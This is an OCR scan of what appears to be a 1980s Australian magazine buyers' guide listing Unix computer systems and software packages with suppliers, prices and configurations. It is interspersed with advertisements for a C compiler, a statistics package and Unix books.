Price: $34,000 
Description: The Dual 83/80 is a high-perform- 
ance microcomputer with 80 Mbytes of stor- 
age and support for up to 12 users. Sharing 
the advanced processor board with the CPU 
is the Motorola 68451 Memory Management 
Unit that allocates memory dynamically 
according to need. 



Basic Configuration. Dual CPU, 80 Mbyte mass 
storage. 

Unix version supported: System V. 

Dual 83/500 
Supplier. Dual Systems Australia, 55 Phillip 
Street, Parramatta 2150; (02) 635 6651. 
Price: Around $80,000. 
Description: The Dual 83/500 is a high-perform- 
ance 16-bit microcomputer system. The basic 
system supports 8 users, with optional serial 
capacity to support a maximum of 16 users. 
Some packages available include LEX word 
processor, UNIFY database, ACSNET net- 
working system, and ULTRACALC spread- 
sheet. The system can accommodate more 
than one billion bytes of mass stoarage. 
Basic Configuration: Dual CPU, 2 Mbytes of 
RAM. 

Unix version supported: System V. 

Elxsi System 6400 
Supplier. Techway, 61 Lavender Street, Mil- 
sons Point NSW 2061; (02) 929 4988. 
Price: Price on Application 
Description: The ELXSI System 6400 is a modu- 
lar 64-bit, general-purpose computer sys- 
tem, offering a wide range of processing per- 
formance through the use of multiple, tightly 
coupled central processing units, and ex- 
tremely large memory (up to 192 Mbytes). 
Expansion of the system is made easy by the 
use of the multiple CPUs. This gives the sys- 
tem the capability of performing from 4 to 40 
million instructions per second (MIPS), pro- 
viding cost-effective mini-computer to su- 
percomputer performance. Full virtual mem- 
ory support is provided, with automatic load 
balancing across multiple CPUs. Multiple 
versions of Unix can be run on the same 
computer and the system is provided with 
many Berkeley enhancements and highly 
optimizing C and FORTRAN compilers. 
Basic Configuration: Single CPU, 8 Mbytes 
memory, 474 Mbytes of disk storage. 
Unix version supported: System V. 

Esprit X16 
Supplier: Mitsui Computer Limited, 1-3 Rod- 
borough Road, Frenchs Forest NSW 2086: 
(02) 451 7711. 
Price: $11,280 to $24,840, depending on 
configuration. 
Description: The Multi-user X16 is the perfect 
solution for small to medium organisations 
with specialised software needs or the prog- 
rammer who wants to write specialised soft- 
ware. Packed in a small, inexpensive, attrac- 
tively-designed package, it combines the 
programming advantages of the Unix operat- 
ing system with the advantages of an easy-to- 
use, multi-user system. The system has an 
80186 processor, support for four users (with 
expansion to eight), 19 to 195 Mbytes of Win- 
chester disk storage plus one 820 Kbyte flop- 
py, one parallel and one serial port, and four 
serial workstation ports. 
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Basic Configuration: 4 users, 512 Kbytes RAM, 
19 Mbyte hard disk. 
Unix version supported: Multi-user Xenix 3.0 with 
Esprit utilities. 

HP9000 Series 200 
Supplier: Hewlett-Packard Australia, 31-41 
Joseph Street, Blackburn 3130, (03) 895 
2895. 

Price: $10,261 (excl. tax). 
Description: The series 200 has a 12.5 MHz 
Motorola 68000 processor and 16 Kbytes of 
high-speed cache. 
Basic Configuration: | Mbyte RAM, HPIB and 
disk, ASI and terminal. 
Unix version supported: HP-UX version 2.1 

HP9000 Series 500 
Supplier: Hewlett-Packard Australia, 31-41 
joseph Street, Blackburn 3130; (03) 895 
2895. 
Price: POA 

Description: The HP9000 Series 500 is a family 
of powerful 32-bit computers for scientific 
and engineering applications offering a wide 
variety of configurations from integrated 
workstations to multi-user systems. The 
architecture of the series 500 can accommo- 
date a second and third CPU functioning 
simultaneously on its memory processor 
bus. It also has a direct access range of 500 
Mbytes and a clock speed of 18 MHz. Features 
HP proprietary NMOS III floating-point pro- 
cessor, uucp and RJE LANs and a 32-user 
licence from AT&T. Hardware supported 
graphics include a 5 megaflop accelerator. 
Basic Configuration: CPU, IOP, 1.5 Mbytes RAM, 
terminal, HPIB, 15 Mbyte disk. 
Unix version supported: HP-UX 5.0 (System V, 
Release 2 implementation). 

Integral Personal Computer 
Supplier. Hewlett-Packard Australia, 31-41 
Joseph Street, Blackburn 3130; (03) 895 
2895. 

Price: $11,637.10 
Description: The Integral PC is a 32-bit trans- 
portable, integrated PC with HP-UX Unix ker- 
nel built into the ROM for added speed. In- 
cludes electroluminescent display, ITF 
keyboard, ThinkJet printer, microfloppy disk 
drive, windowing, mouse-driven cursor- 
control and BASIC implemented in the HP- 
UX kernel. 
Basic Configuration: 512 Kbytes RAM, 256 
Kbytes ROM, one microfloppy drive and 
ThinkJet printer. 
Unix version supported: HP-UP and Bell System 
Il. 

Labtam 3015/V32 

Supplier. Labtam International, 2 Help 
Street, Chatswood NSW 2067; (02) 411 
2588. 

Price: $34,500 (excluding tax). 
Description: The Labtam 3015/V32 is a 32-bit, 
floor-mounted unit. The National Semicon- 

ductor 32032 is the first commercially- avail- 
able, full 32-bit microprocessor that incorpo- 
rates the NS 32081 64-bit double-precision, 
floating-point mathematics processor and 
the NS 32082 demand-paged virtual memory 
management facility. The Unix System V 
Operating System features file and record 
locking for multi-user access, Memory man- 
agement for 16 Mbytes of address space, 
FORTRAN 77 enhancements and the C prog- 
ramming language, as well as all other stan- 
dard utilities. The standard 2 Mbytes of RAM 
is expandable to !|2 Mbytes. 
Basic Configuration: 2 Mbytes RAM, 56 Mbyte 
hard disk, 45 Mbyte streaming tape, 1.2 
Mbyte 20 cm disk drive, eight RS-232 ports, 
800 by 600 pixels graphics. 
Unix version supported: System 5.2 version 2. 

Morrow Tricep 
Supplier: Automation Statham, 47 Birch St, 
Bankstown NSW 2200; (02) 709 4144. 
Price. About $18,000, including program- 
mers tools and text processing utilities 
such as nroff, troff, man, eqn ,tbl, make, 
lex, and yacc. 
Description: The Tricep is a low cost system 
which lets you run MS-DOS on slave proces- 
sor boards. Built around an IEEE 696 bus (14 
slots) and 8 or 10 MHz CPU with memory 
management, features include: centronics 
printer port; four or eight serial ports with 
intelligent DMA controllers (one 8085 per 4 
ports); 16 or 34 MByte Winchester disk (up to 
4 drives); 400 Kbyte minifloppy drive; built-in 
20 cm floppy drive support. 
Basic Configuration: 8 MHz CPU, 512 K RAM, 4 
Serial Ports, 16 MByte Hard disk. 
Unix version supported: Unisoft (Uniplus+) port 
of System V. 

Olivetti/AT&T 3B2 
Supplier: Olivetti Australia, 140 William 
Street, Sydney NSW 2001; (02) 358 2655. 
Price: From under $20,000 to $51,000. 

Description. The AT&T 3B2/300 computer is a 
32-bit desktop supermicro based on the WE 
32000 microprocessor. It is compact, easy to 
configure into a single or multi-user system, 
and offers a wide range of performance, 
peripheral and software options. Either a 10 
Mbyte or 32 Mbyte hard disk is supported, 
with a 13 cm floppy disk in the main cabinet. 
As a general rule, the 3B2/300 is designed to 
support up to 8 users. The 3B2/400 is a super- 
micro which fills a gap between the 3B2/300 
and the 3B5 series. Its architecture is based 
on the 3B2/300, but performance is 40-60 per 
cent higher with the 10 MHz WE32100 mic- 
roprocessor. Two hard disks (up to 74 Mbytes 
each) are supported internally, together with 
a 24 Mbyte cartridge tape drive. The 3B2/400 
is designed to support up to 20 users. Soft- 
ware compatibility is maintained across the 
range of AT&T machines. 
Basic Configuration: 512 Kbyte memory, 720 BP 
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Kbyte floppy disk, 10 Mbyte hard disk, single 
terminal. 
Unix version supported: System V, Release 1.0 

Olivetti/AT&T 3B5 
Supplier: Olivetti Australia, 140 William 
Street, Sydney NSW 2001; (02) 358 2655. 

Price. From $100,000 to $170,000. 
Description: There are four models of the 3B5/ 
100. The System 100A is the minimum work- 
ing system, with | Mbyte of memory as stan- 
dard and eight RS232C ports. The System 
100B has more I/O slots and expansion capa- 
bility, including up to 16 Mbytes of memory. 
The System !00C is similar to the 100A, but 
has a 9-track tape drive included as standard 
equipment, while the System 1!00D offers 
more expansion capabilities like the !00B. 
The System 200 models E, F and G use a 
faster processor and have almost twice as 
many I/O slots as the 100 family. The System 
200G has two 9-track tape units, 2 Mbytes 
(expandable to 16 Mbytes) of main memory 
with cache buffering and 26 user-definable 
I/O slots. Software compatibility is main- 
tained across the range of machines and a 
wide range of peripheral options is available. 
Basic Configuration: | Mbyte memory, 48 Mbyte 
hard disk, eight serial ports. 
Unix version supported: System V, Release 1.0 

Perkin-Elmer 7350A 
Supplier. Perkin-Elmer Computers, 3 Byfield 
Street, North Ryde NSW 2113; (02) 887 
1000. 
Price: $16,750 — $30,000 (excluding tax). 
Description. Acomplete, flexible computer sys- 
tem, the PE7350A offers hardware and soft- 
ware versatility to provide a wide variety of 
production environments. Its 3 Mbyte RAM 
memory capacity, integral 15 or 40 Mbyte disk 
and tape backup option offer considerable 
scope for up to 5 users. It has a menu-driven 
user interface and a variety of tools and facili- 
ties. The 7350A uses a MC68000 microp- 
rocessor and maintains software compatibil- 
ity with the Series 3200 supermini family. 
Basic Configuration: | Mbyte memory, 15 Mbyte 
hard disk 
Unix version supported: System III. 

Perkin-Elmer 3203 
Supplier: Perkin-Elmer Computers, 3 Byfield 
Street, North Sydney NSW 2113; (02) 887 
1000. 

Price. $39,000 — $87,290 (excluding tax). 
Description: The 3203 system is designed for 
the multi-user environment in commercial, 
technical and industrial applications where 
ease of installation and ease of operation is 
important. With hardware expansion, soft- 
ware portability and data communication 
links, the 3203 system provides an economic 
approach to handling a myriad of problems. 
Self-contained in a desk-high cabinet, the 
3203 is customer-installable and provides 
multi-terminal support for 16 users. 
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Basic Configuration: | Mbyte memory, 5! Mbyte 
hard disk. 
Unix version supported: System V, Release 2. 

Perkin-Elmer 3205 
Supplier. Perkin-Elmer Computers, 3 Byfield 
Street, North Ryde NSW 2113; (02) 887 
1000. 
Price: $56,000 — $100,000 (excluding tax) 
Description: The model 3205 is a low-cost, phy- 
sically small 32-bit machine. The processor 
is implemented as a single board with float- 
ing point features. It is compatible with the 
rest of the 3200 range. 
Basic Configuration: | Mbyte memory, 50 Mbyte 
hard disk. 
Unix version supported: System V, Release 2. 

Perkin-Elmer 3210 
Supplier. Perkin-Elmer Computers, 3 Byfield 
Street, North Ryde NSW 2113; (02) 887 
1000. 
Price. $77,150 — $172,550 (excluding tax). 
Description: Positioned in the low to middle 
range of Perkin Elmer Series 3200 super- 
minis, the Model 3210 supports up to 16 
Mbytes of memory and a maximum of 64 

users running a variety of large, complex ap- 
plications. It provides data communications 
support. 
Basic Configuration: | Mbyte of RAM, 50 Mbyte 
hard disk. 
Unix version supported: System V, Release 2. 

Perkin-Elmer 3230 
Supplier: Perkin-Elmer Computers, 3 Byfield 
Street, North Sydney NSW 2113; (02) 887 
1000. 
Price: $150,000 — $308,000 (excluding tax ) 

Description: The 3230 is designed for applica- 
tions requiring the power and flexibility of 
32-bit architecture balanced by cost/perform- 
ance constraints. It is capable of supporting 
128 terminals and fulfilling all general- 
purpose computational needs, and features a 
fast floating-point processor, memory man- 
agement hardware and automatic battery 
backup. 
Basic Configuration: | Mbyte RAM, 50 Mbyte 
hard disk. 
Unix version supported: System V, Release 2. 

Perkin-Elmer 3250XP 
Supplier: Perkin-Elmer Computers, 3 Byfield 
Street, North Ryde NSW 2113; (02) 887 

1000. 
Price. $304,500 — $450,000 (excluding tax). 
Description: The 3250XP is capable of high- 
performance computations and extensive 

concurrent input/output activity. This ex- 

tremely fast operation is a product of its adv- 
anced design and system implementation. 
Memory system capacity starts at 2 Mbytes 
and is expandable to 16 Mbytes and features 
high-speed multi bank, interleaved cache 
memory. 

Basic Configuration: 2 Mbytes memory, 80 
Mbyte hard disk. 
Unix version supported: System V, Release 2. 

Pyramid 90x, Pyramid 90Mx Dual Pro- 
cessor, UNIVERSE 
Supplier. Pyramid Technology Australia, 77 
Pacific Highway, North Sydney 2060; (02) 
957 2655. 

Price: $225,000 — $650,000 
Description: The Pyramid computers feature a 
dual port of Unix — both System V and 4.2 
BSD. Specifically designed for the Unix en- 
vironment, with RISC (reduced instruction- 
set computer) architecture, they provide Pick 
and Prime information-compatible systems 
running under Unix. The 90Mx is a dual- 
processor system providing expanded mem- 
ory capacity, user connection ports, I/O slots 
and processing power in a manner transpa- 
rent to the user. 
Basic Configuration. 90x, 16 ports, 2 Mbytes 
memory, nine-track tape, 415 Mbyte disk. 
Unix version supported: System V and 4.2 BSD. 

Seiko Series 8600 
Supplier: Tomas Systems and Sky Systems. 
Tomas Systems, 30 Whiting Street, Artar- 
mon 2064; (02) 438 4233. Sky Systems, PO 
Box 274, St Leonards 2065. 
Price: $12,800 
Description: Running an Intel 8086 processor, 
the Series 8600 is made up of modular com- 
ponents, and can be configured to fit a wide 
variety of business needs. It supports six in- 
dustry-standard operating systems, includ- 
ing CP/M-86, MP/M-86, MS-DOS, Oasis-8&6, 
Uni-Dol and Thoroughbred OS. 
Basic Configuration: 256 Kbytes RAM, one flop- 
py drive. 
Unix version supported: Uni-Dol (System III). 

Sun-2 Product Family 
Supplier: Sun Computer Australia, 77 Pacific 
Highway, North Sydney 2060; (02) 957 
2655. 

Price: Starting at $22,000 for the Ward sta - 
tion. 
Description: High-resolution bit-mapped 
graphics display, dedicated 32-bit 
architecture and a 1|OMhz 68010 CPU are fea- 
tures of the Sun-2. Sun's third party software 
program (CATALYST) provides access to 
more than 250 software products. On top of 
Ethernet, Sun implements the Address Re- 
solution Protocol (ARP), Inter-network Pro- 
tocol (IP), and Transmission Control Protocol 
(TCP). 

Basic Configuration: Sun 2/120, 42 Mbyte disk, 
cartridge backup, 2 Mbytes main memory. 
Unix version supported: 4.2 BSD. 

Visual 2000 | 
Supplier. Kenelec (Aust), Suite 8, 54 Alexan- 
der Street, Crows Nest 2065; (02) 439 5500. 

Price: $17,280 > 



Eco-C Compiler now for MS-DOS 
The fastest C compiler 
for 8 bit CPUs is now 

available tor MS-DOS 

(version 2.00 or later). 

String Manipulation Functions 

ato{) __atoi() _atol() 
atol{) decimal) __ftoa() 
ftoa() __hex{) hex{) 
index() itao() ImodQ) 
ltoa() __octal() octal() 
strcat() strcmp) strcpy() 
strlen() stmcat stmcpy() 

Transcendental Functions 

acos() asin() atan{) 
atan2() cos() cosh{) 
cotan() exp() logQ 
In() power() sin() 

sinh() sqrt{) tan() 
tanh({) 

@ Perfect for beginner and experienced 
professional. 

@ Supports all data types (including 
longs, floats and doubles) and operators 
(except bit fields) 

W@ Over 100 library functions, including 
transcendentals. These conform to UNIX 
v7 specifications. MS-DOS version has 
file compatibility with UNIX v7 specs. 
Programs written with Eco-C can be run 
under the UNIX C Compiler with few (if 
any) changes. 

@ Generates Z80 assembler output 
(Zilog mnemonics) for use with 
Microsoft's MACRO 80 assembler (M80) 
to produce REL files for the linker (L80). 
Uses true LL(1) grammar with predictive 
parsing. 

@ Error messages are in English. 

@ Floating point is fully 8087 
compatible; same floating point answers 
regardless 8087 being present (as 
emulator). 

@ No more third party royalty fees for 
application software written in ‘C’. 

@ Over 60% Australian content. Fully 
supported by University graduate and 
experienced ‘C’ programmers. We use it 
for our own software development. 

@ As users of 'C’, we have found this 
compiler to be quite superior in speed, 
function and accuracy to a well known 
Australian ‘C’ compiler. 

Eco-C vs Hitech C 
BENCHMARKS (TI PROFESSIONAL NO 8087) 

All times in seconds 

SEIVE 
ECO-C 
HITECH 

FLOAT 
ECO-C 
HITECH 

FIBONACCI 
ECO-C 
HITECH 

EXECUTION 
13 
17 

5.9 
35 

43 
72 

COMPILATION 
68 
42 

79 
47 

90 
37 

New release — version 4.1 
Microstat® Rel 4.1 has all the powerful 
features that have made Microstat the 
most popular interactive statistics 
package for the past several years. 
It now: 

@ Interfaces with ASCII files and most 
external database/ spreadsheet 
programs: 
These include Dbase II, Open Access, 
Multiplan, Lotus. 
@ Output redirection to text files for 
editing and report generation. 

@ Missing data handling 

@ Improved Recode/Select options 

® Handles large data sets. File size is 
limited only by disk capacity for most 
procedures. 

@ Data Management Subsystem (DMS) 
for file creation plus the ability to edit, 
list, destroy delete cases, augment, sort, 
rank order, lag, move, merge and 
transform data. 
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Data transformations include: add, 
subtract, multiply, divide, reciprocal, log, 
natural log, natural antilog, exponential, 
linear transformation, adding any 
number of variables to create a new 
variable, plus others. 

@ The DMS places you in complete 
control of the data files and allows you to 
create new variables from existing 
vaniables via the transformations. 

Other features include: 

@ Descriptive statistics 
@ Hypothesis tests 
@ Analysis of Variance 
B® Scatterplot 
@ Conelation analysis 
@ Simple, Multiple and Stepwise 

regression analysis 
@ Time series analysis 
@ Non paramatic analysis 
@ Crosstabs 
@ Factorials, permutations, combin- 
ations and probability 
distributions 

Prices: 

Complete version: $590.00 
Upgrade for existing users: $90.00 
Demonstration version: $90.00 

Microstat 4.1 rms on MS-DOS/PC-DOS, 
CP/M-86 and CP/M-80. It requires 128K 
of memory (64K for CP/M- 80). 

| Please send me more information on: 

| ©) Eco-C Compiler 
| © Microstat 

| 
| 

Postcode 

| Telephone 

| My current computer is 

Current software | 
| 
| Contact: 
| Cerebral Solutions 
| Suite 1, 7th Floor, 8 West Street, 
| Crows Nest NSW 2065 

| Phone (02) 923 2288 



Description: A low-cost multi-user system 
based on the Intel 80286 CPU. Multibus or 
IBM PC AT expansion. Throughput speed 
claimed to equal DEC VAX system. 
Basic Configuration: 512 Kbytes RAM, 19 Mbyte 
disk, 800 Kbyte floppy, six RS-232 serial ports, 
parallel port. 
Unix version supported: System V. 

WICAT System 150, 155, 160, 220 and 
2220 
Supplier. Wicat Computer of Australia, 77 
Pacific Highway, North Sydney 2060; (02) 
957 2655. 

Price: $25,000 to $135,000 
Description: The Wicat family is a fully upward- 
ly-compatible range of systems, from de- 
sktop to 64 users. Full vendor training and 
support for operating system, tools and some 
applications is supplied. Some of the 
machines also run the Pick operating system 
and WMCS (Wicat’s proprietary operating 
system). 

Basic Configuration. WICAT System 150, 28 
Mbyte disk, floppy backup, 512 Kbytes RAM. 
Unix version supported: System V with Berkeley 
enhancements. 

Zilog System 8000 
Supplier: Cadon Computers, 15th floor, 8-20 
Napier Street, North Sydney 2060; (02) 920 
1381. 

Price: From $25,000 
Description: The Zilog System 8000 super- 
microcomputer is based on the Z-8000 16/ 
32-bit, high-speed CPU. All hardware subsys- 
tems within the System 8000 are designed 
specifically to maximise the performance of 
the Unix operating system. There is a wide 
range of Zilog models, with expansion to 672 
Mbytes of disk space, support for 40 users 
and 4 Mbytes of main memory. The Series 2 
has 32 Kbytes of cache memory and 11.1 MHz 
CPU. 

Basic Configuration: 8 users, 512K memory, 
52Mbytes disk. 
Unix version supported: Model II Plus supports 
System III with Berkeley Enhancements ( Sys- 
tem V available in July). 
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Software 
CDB Relational Database Package 
Supplier. Cee Data Systems, Suite 6, 211 
Ben Boyd Road, Neutral Bay 2089; (02) 909 
2333. 

Price: Approximately $2000 
Description. CDB provides a relational inter- 
face to data stored within a file. It consists of 
a set of general-purpose utility programs and 
a library of routines. Every file contains a data 
dictionary describing the fields and tables of 
that file. Records are stored in sorted order by 
key value. Record locking is supported where 
required. 
Basic Configuration. PC/MS-DOS and Unix- 
based machines. 
Unix version supported: any version. 

CDS-Accounting 
Supplier. Cee Data Systems, Suite 6, 211 
Ben Boyd Road, Neutral Bay 2089; (02) 909 
2333. 

Price: $4500 to $8000 
Description: CDS-Accounting is a suite of preci- 
sion software products where all facilities in- 
corporate a unifying relational database, 
which provides full integration of packages 
and eliminates duplication of stored data. 
Modules include Practice Management, 
Client Accounting, Word Processing, Work In 
Progress, Debtors, Tax Preparation, and a 

Query Language. The system can be confi- 

gured as a single-user or multi-user multi- 
tasking system and runs on virtually all 
machines from micros to super-minis and 

mainframes. 
Basic Configuration: 64 Kbytes for operating 
system and 64 Kbytes per user, 10 megabyte 
hard disk recommended, machine must have 
a C compiler. 
Unix version supported: Any version. 

Co-Idris 
Supplier. Neology, 9th Floor, | Rosebery 

Avenue, Rosebery 2018; (02) 662 4111. 
Price: $1200 
Description. Most Neology software will func- 
tion under Idris. Co-Idris is a Unix- 
compatible operating system for personal 
computer users. With Co-ldris installed on a 
PC, a user can alternate between MS-DOS 
and the Idris environment with one key- 
stroke. The package offers full Unix features on 
IBM PC or compatible machines, and co- 
exists with MS-DOS on hard disk. Includes 
Whitesmiths C and Pascal compilers. 
Basic Configuration: 256 Kbytes RAM, 10 mega- 
byte hard disk, and MS-DOS. 

Database Information System iDIS 715 
Distributor: Total Electronics, Cnr Campbell 
Street and Reserve Road, Artarmon 2064; (02) 
438 1855. 

Price: Available on application 
Description. The Intel Database Information 
system is a fully integrated multi-user hard- 
ware/software microcomputer system. It in- 
cludes an SQL-compatible multi-user re- 
lational DBMS system for shared access to 
disk storage. The iDIS software family in- 
cludes the iWord word processor, iPlan (Mul- 
tiplan) spreadsheet, and iDB database man- 
agement system. Data and reports can be 
easily interchanged and transferred among 
the various iDIS applications. 
Supports Unix Version: Unix version 3.0. 

D1-3000 
Supplier: Perkin-Elmer Computers, 3 Byfield 
Street, North Ryde 2113; (02) 887 1000. 
Price: $2350 — $9450 
Description: DI-3000 is a family of user-callable 
FORTRAN subroutines, offering program- 
mers powerful tools with which to build spe- 
cialised graphics programs. Software de- 
velopers can offer their end-users turnkey 
packages for applications in areas as diverse 
as mining, computer-aided design and en- 
gineering and surface mapping. The package 
incorporates drivers for several graphics de- 
vices. 

Basic Configuration: Perkin-Elmer's 7350A. 
Unix version supported: UniPlus+ 

Finalword 
Supplier: Perkin-Elmer Computers, 3 Byfield 
Street, North Ryde 2113; (02) 887 1000. 
Price: $1,230 
Description: This package is claimed to contain 
the basic features and functions found in the 
best word processors, plus additional capa- 
bilities for the easy creation of lengthy and 
complicated documents. It is menu driven, 
uses a Help key, offers global search and 
replace, and allows you to view and edit two 
files simultaneously. Users can also custo- 
mise the keyboard and command structure. 
Basic Configuration. 7350A and 3200 Series 
machines. 



Electronics Today is Australia’s dynamic 

electronics monthly. It has more special 

features, new and exciting projects to 

build and a wealth of information on 

components, equipment and new 

technology. Regular features include 

Australia’s top hi-fi reviews and news 

on communications and computing. 

Buy your copy now for your local 

newsagent, or become a subscriber and 

have the magazine home delivered. 

Only $27.00 for 12 issues. 

Send your cheque to: 

Subscriptions Department 
Federal Publishing 
P.O. Box 227 
Waterloo, N.S.W. 2017 

YOU WANT TO KNO
W MORE.. 

Unix Primer Plus 
User Friendly Guide to the UNIX Operating System 

This book builds on previous knowledge and includes 
hands-on examples, easily referenced ‘Commands’ 
Summaries, and a complete glossary of UNIX buzzwords. 

rrp $29.95 

C Primer Plus 
User Friendly Guide to the C Programming Language 

This book makes C accessible to anyone. Styled after the 
successful Waite Group ‘Primer’ books, C Primer Plus 
offers everything you need to start using this exciting 
language. 

rrp $29.95 

Unix System V Primer 
User Friendly Guide to the UNIX SYSTEM V Operating System 

*Covers ‘standard’ UNIX SYSTEM V 
*Beginner’s Startup Card 
*Flectronic Mail, Pipes, Redirection 
*Includes ex and vi editors, sed and nroff 
*Shell Scripts, C, Pascal and FORTRAN Programming 
*Hands-on Tutorials 
*Detachable UNIX SYSTEM V Summary Cards 

rrp $29.95 
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Unix version supported: UniPlus+ and Xelos. 

Friend Business Software 
Supplier. Sadleir Computer Research, 2/2 
Richardson Street, West Perth 6005; (09) 
322 5510. 
Price: $5000 
Description: Friend business computer soft- 
ware is a powerful fifth-generation language. 
It comes with a standard accounting package 
that consists of general ledger, creditors, de- 
btors, stock control, job costing, and order 
entry invoicing modules. These packages can 
be modified to suit individual needs. Other 
features include graphics, statistical analysis, 
concurrent and windowing capabilities, re- 
port-generating capabilities, a spreadsheet, 
word processing, integration between data- 
base and word processing, multi/user and 
multi/tasking facilities, and an application 
generator. The software is said to be easy to 
learn, with 15 words that can be combined to 
form powerful commands. Hexadirectional 
program flow can be used to browse through 
a selected set of data in any one of six diffe- 
rent directions. 
Basic Configuration: 140 Kbytes RAM. 
Unix version supported: Any version of Unix. 

Neocalc 
Supplier: Neology, 9th Floor, | Rosebery 
Avenue, Rosebery 2018; (02) 662 4111. 
Price: From $600 
Description: Neocalc is a spreadsheet which 
has the ability to mix ‘cell locations’, 
irrespective of which spreadsheet they are 
from. Libraries of spreadsheets can be main- 
tained to produce a powerful matrix for pro- 
duction control, simulation or interactive 
complex modelling. The spreadsheet size is 
limited only by the hardware used. Extensive 
help and tutorials are provided. 
Basic Configuration: 256 Kbytes RAM. 
Unix version supported: All versions of Unix and 
Unix-based operating systems. 

NEO-GL 
Supplier. Neology, 9th Floor, | Rosebery 
Avenue, Rosebery 2018; (02) 662 4111. 
Price: From $1200 
Description: NEO-GL is a multi-user, online 
general ledger system capable of handling 
many companies in one database. It is com- 
pletely menu driven and offers a choice of 
formatting reports. It has security levels from 
operators’ passwords down to individual 
transactions, and inquiries can be directed to 
the screen, a printer, a file or all three. Ad hoc 
queries can be made using IBM's fourth- 
generation language SQL. 
Unix version supported: All versions of Unix and 
Unix-based operating systems. 

Neonet 

Supplier: Neology, 9th floor, | Rosebery 
Avenue, Rosebery 2018; (02) 662 4111. 
Price: from $900 
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Description: Neonet is designed to enable a 
user to send electronic messages by simply 
typing the recipient's name and the host 
computer's name. The Neonet addressing 
method simplifies handling for operators 
and enhances the security of transmitted 
data. Any immediate hosts in the network are 
not required to know anything about the data 
passing through, and no attempt is made to 
interpret the contents of the message. Mes- 
sages Can comprise any type of data, includ- 
ing information in encrypted form. Full du- 
plex connections handle up to six messages 
simultaneously. The system runs indepen- 
dently of hardware links such as telephones 
and Ethernet. It is possible to access a local/ 
overseas network of hundreds of users. 
Basic Configuration: 256 Kbytes RAM. 
Unix version supported: All versions of Unix and 
Unix-based operating systems. 

Neonix 
Supplier. Neology, 9th Floor, | Rosebery 
Avenue, Rosebery 2018; (02) 662 4111. 
Price: From $1200 (porting charges are not 
included) 
Description: Neonix is Neology’s implementa- 
tion of AT&T's Unix System V. It is available in 
several versions, all of which are compatible 
with any mix of the following features (pro- 
viding the computer can support them): vir- 
tual memory (demand paging), real time, 
minimal kernel size and semaphore locking. 
All versions include record and file locking. 
Source code support and local expertise are’ 
available. 
Basic Configuration: Varies. 

Neotelex 
Supplier: Neology, 9th floor, | Rosebery 
Avenue, Rosebery 2018; (02) 662 4111. 
Price: From $500 
Description: Neotelex is the telex interface 
software for Unix systems from Neology’s 
Office Automation Series. Neotelex dis- 
penses with conventional telex terminals, 
allowing users to send and receive telex mes- 
sages from their keyboards without knowing 
how a conventional telex system works. 
Other features include interactive com- 
munication with telex assistance operators, 
telex accounting and statistical reports, un- 
restricted message or file size, on-screen user 
help, off-peak queuing to save costs, and 
automatic retry on failure or busy signal. 
Basic Configuration: 256 Kbyte RAM, Telex in- 
terface unit. 
Unix version supported: All versions of Unix and 
Unix-based operating systems. 

Neotools 
Supplier: Neology, 9th floor, | Rosebery 
Avenue, Rosebery 2018; (02) 662 4111. 
Price: Available on application. 
Description: Neotools is a range of software 

development tools, programmers’ utilities 
and compilers. The compilers run as either 
native or cross compilers and are portable 
over more than 30 operating systems and six 
machine architectures including IBM 370. 
Unix version supported: All versions of Unix and 
Unix-based operating systems. 

Neoword 
Supplier. Neology, 9th Floor, | Rosebery 
Avenue, Rosebery 2018; (02) 662 4111. 
Price: From $1200 
Description: Neoword is a word processor re- 
quiring minimal keystrokes to execute com- 
mands in a multi-user Unix environment. The 
program can be driven interactively from a 
set of menus, or by direct entry of commands 
on a command line. Repetitive or complex 
editing commands can be programmed for 
execution by function keys. Neoword also has 
the ability to interface with communications 
and telex networks, and can do balance sheet 
mathematics. The package is user- 
configurable and produces typeset-quality 
output when interfaced to a Hewlett-Packard 
Laser Jet printer. 
Basic Configuration: 256 Kbyte RAM. 
Unix version supported: All versions of Unix and 
Unix-based operating systems. 

Oracle 
Supplier. Techway, 61 Lavender Street, Mil- 
sons Point 2061; (02) 929 4988. 
Price. Price on Application 
Description: Oracle is a powerful relational 
database management system and an inte- 
grated set of fourth-generation application 
tools for a broad variety of Unix systems. 
SQL-based and designed for high perform- 
ance, Oracle provides micros with the capabi- 
lities of mainframes. It enhances the Unix 
environment for transaction processing and 
has record-locking, commit/rollback and full 
recovery/restart facilities. Multi-user applica- 
tions are developed as if they were single- 
threaded. 
Basic Configuration: 512 kbyte RAM and a 10 
megabyte hard disk. 
Unix version supported: Unix System V, System 7, 
System III Plus, System V and 4.2. 

PC-UN 

Supplier. NEC Information Systems Austra- 

lia, 99 Nicholson Street, St Leonards 2065; 
(02) 438 3544. 

Price: Approximately $1700 
Description: Includes Berkeley enhancements 
(vi, Cshell), and co-resident MS-DOS. PC-UN 
is a Bell System III implementation of Unix 
for the NEC APC Ill. The APC III with PC-UN is 

one of the least expensive Unix systems 
available. The system supports two users. 
Basic Configuration: APC-III with hard disk and 
384 Kbyte memory, PC-UN board; colour 
monitor recommended. 
Unix version supported: System III. 0 



RM/COBOL 
Supplier. Perkin-Elmer Computers, 3 Byfield 
Street, North Sydney 2113; (02) 887 1000. 
Price: $2370 to $6420 

Description: This single-pass compiler gener- 
ates object code and listing files concurrent- 
ly. An object file is generated in a form ready 
for immediate execution by the RM/COBOL 
run-time program. A user-oriented program, 
RM/COBOL uses dynamic memory manage- 
ment, and features interactive debugging and 
full file control. | 
Basic Configuration: 7350A and 3200 Series Per- 
kin Elmer machines. 
Unix version supported: UniPlus+ and Xelos. 

Series 16 and Series 32 Packages 
Supplier: Wilson Computer Services, 9 
Chard Road, Brookvale 2100; 
(02) 938 3755. 
Price: $2000 to $30,000 

Description: Wilson Computers specialises in 
COBOL packages that can be compiled by 
Philon Compilers running under Unix. The 
packages are available in object and source 
code form and are designed to run as standa- 
lone modules or as an integrated suite of 
software. Series 16 is an extensive range of 
integrated commercial packages. All prog- 
rams have been designed to operate effi- 
ciently on low-speed terminal lines and mod- 
erately powered computer systems. Series 32 
has been designed to run on medium- to 
large-scale 32-bit computers. Available titles 
include Order Entry/Invoicing, Accounts Re- 
ceivable, Stock Control, Home Builders, 
Sales Analysis, Accounts Payable, General 
Ledger, Financial Reporting, Manufacturing 
(in Series 32 only), Asset Register, Payroll, Job 
Costing, Job Scheduling, Investment Port- 
folio Management, Insurance Broking and 
Stores Control. 
Basic Configuration: Any machine that canruna 
Philon compiler. 

SIBOL 
Supplier: Perkin-Elmer Computers, 3 Byfield 
Street, North Ryde 2113; (02) 887 1000. 

Price: $1,420 to $14,180 
Description: A commercial programming lan- 
